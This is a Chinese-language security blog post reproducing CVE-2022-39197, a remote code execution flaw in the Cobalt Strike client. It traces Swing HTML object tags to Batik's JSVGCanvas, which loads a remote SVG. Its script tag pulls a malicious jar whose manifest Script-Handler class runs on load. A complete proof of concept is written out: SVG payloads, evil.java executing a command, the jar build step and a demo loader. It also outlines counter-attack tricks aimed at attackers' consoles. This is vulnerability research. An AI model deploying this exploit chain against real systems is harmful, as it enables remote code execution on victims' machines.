
前言
漂亮鼠的文章思路也懂,就是头铁硬看了JDK,没有看CS里的具体类。今天再次分析。
在java的swing中可加载html标签,https://docs.oracle.com/javase/tutorial/uiswing/components/html.html,类似这种效果

其中有一个object的标签,会实例化ObjectView类型对象

大概就是通过classid去实例化一个符合一定条件的对象,并且通过param中的name与value进行参数的传递

下面代码就是反射然后实例化一个类对象,setParameters进行参数的赋值并调用


提取我们要找符合这些条件的:
- classid传入需要实例化的类,类必须继承与Component
- 必须有无参构造方法,因为newInstance是调用的无参构造方法
- 必须存在一个setXXX方法的XXX属性
- setXXX方法的传参数必须是接受一个string类型的参数
光在JDK中就有300多个实现,我要是会codeql就好了(qaq)

利用正则 public void set.*\(String .*\)
撸了两遍发现基本都是什么setText、setName等,根本没有什么危险的地方。
CS的分析
jdk看完了,放置了两天等网上的分析文章。当时竟然没有想到分析分析cs的jar包看看…将cs的jar包添加为库,重新寻找一遍,132个并不多。

暂且找到一个 JSVGCanvas#setURI()

通过搜索发现使用的是batik组件:Batik SVG Toolkit
Batik是Batik SVG Toolkit或Batik Java SVG Toolkit的简称,一个基于Java的应用程序或小应用的工具集,意图将SVG格式用于多种目的,如查看,主控或操纵。该项目的目标是让开发一套核心模块,以及实现高度可扩展性
setURI通过给定的url调用 loadSVGDocument() 加载远程SVG文档

svg打xss的方式已经接触过,不如尝试一下引入script标签然后alert。
1.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red"/>
<script>alert(1)</script>
</svg>
|
发现报错了: classnotfound 这里提取两个信息,一个是 org.apache.batik一个是 org.mozilla.javascript

后者通过查找发现是一款基于java编写的js引擎(Rhino),另外一个js引擎就是v8由c++开发。
Rhino 是一种使用 Java 语言编写的 JavaScript 的开源实现,原先由Mozilla开发,现在被集成进入JDK 6.0。与其他很多语言一样,Rhino 是一种动态类型的、基于对象的脚本语言,它可以简单地访问各种 Java 类库。
二者一综合,不难推测,由于svg文件中存在script标签,这时调用js引擎处理时,cs的jar中没有对应的库处理js,这里报错还有一个很重要的函数:loadScripts(),下面将进行分析。
独立环境测试
为了了解二者的基本操作,本地弄了一个单独的测试环境
pom.xml添加
<dependency> <groupId>org.mozilla</groupId> <artifactId>rhino</artifactId> <version>1.7.14</version> </dependency>
<dependency> <groupId>org.apache.xmlgraphics</groupId> <artifactId>batik-all</artifactId> <version>1.14</version> <type>pom</type> </dependency>
|
成功弹窗。

发现Rhino中可以直接调用java代码

直接尝试在js中调用java代码。
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="100%" height="100%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red"/> <script>java.lang.Runtime.getRuntime().exec("calc");</script>
</svg>
|
成功执行

loadScripts
很明显这个函数是处理js的,获取所有元素集合,然后调用loadScript()

loadScript()作用是执行没有执行过的 <script>

由于cs中没有js引擎,所以最后无法执行evaluate,那么只能看看在第一个if中存在type字段的情况是否有后续可能利用。分析之后大概作用是满足下面四个条件后远程加载一个jar,利用其loadclass即可执行恶意代码。

逐步分析构造poc
String href = XLinkSupport.getXLinkHref(script);
|
获取svg中的href内容,这里可构造一个远程恶意的jar

this.checkCompatibleScriptURL(type, purl);
|
这里就是检查远程加载svg的地址与远程jar地址是否相同。

URL url = cll.findResource("META-INF/MANIFEST.MF");
|
这里要求远程jar有该文件,接着从 MANIFEST.MF 文件中找 Script-Handler 的值,然后加载该值所代表的类。
Manifest man = new Manifest(url.openStream()); this.executedScripts.put(script, (Object)null); mediaType = man.getMainAttributes().getValue("Script-Handler"); if (mediaType != null) { ScriptHandler h = (ScriptHandler)cll.loadClass(mediaType).getDeclaredConstructor().newInstance(); h.run(this.document, this.getWindow()); }
|
这样构造即可

补充:MANIFEST.MF添加SVG-Handler-Class同样可以

poc
evil.java
import java.io.IOException;
public class evil { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
打包成jar
jar -cvf evil.jar evil.class
|
然后修改META-INF/MANIFEST.MF
准备svg文件
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red"/>
<script type="application/java-archive" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://127.0.0.1:8000/evil.jar"></script>
</svg>
|
将svg与jar放到远程服务器中。
demo.java
import javax.swing.*; import java.awt.*;
public class demo { public static void main(String[] args) { SwingUtilities.invokeLater(new Runnable() { public void run() { createAndShowGUI(); } }); }
private static void createAndShowGUI() {
JFrame frame = new JFrame(); frame.setPreferredSize(new Dimension(300, 300)); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setLocationRelativeTo(null); JLabel jLabel = new JLabel("<html><object classid=\"org.apache.batik.swing.JSVGCanvas\"><param name=\"URI\" value=\"http://127.0.0.1:8000/1.svg\"></object>");
frame.add(jLabel);
frame.pack(); frame.setVisible(true); } }
|
成功

cs反制
文章提到的两种手法
- 首页frame绕过长度限制
- 通过frada脚本来hook win api修改tasklist返回的进程名,将进程名改写成攻击payload
参考
Apache Batik SVG Toolkit
https://xmlgraphics.apache.org/batik/javadoc/
最新CS RCE曲折的复现路 (qq.com)
最新CS RCE(CVE-2022-39197)复现心得分享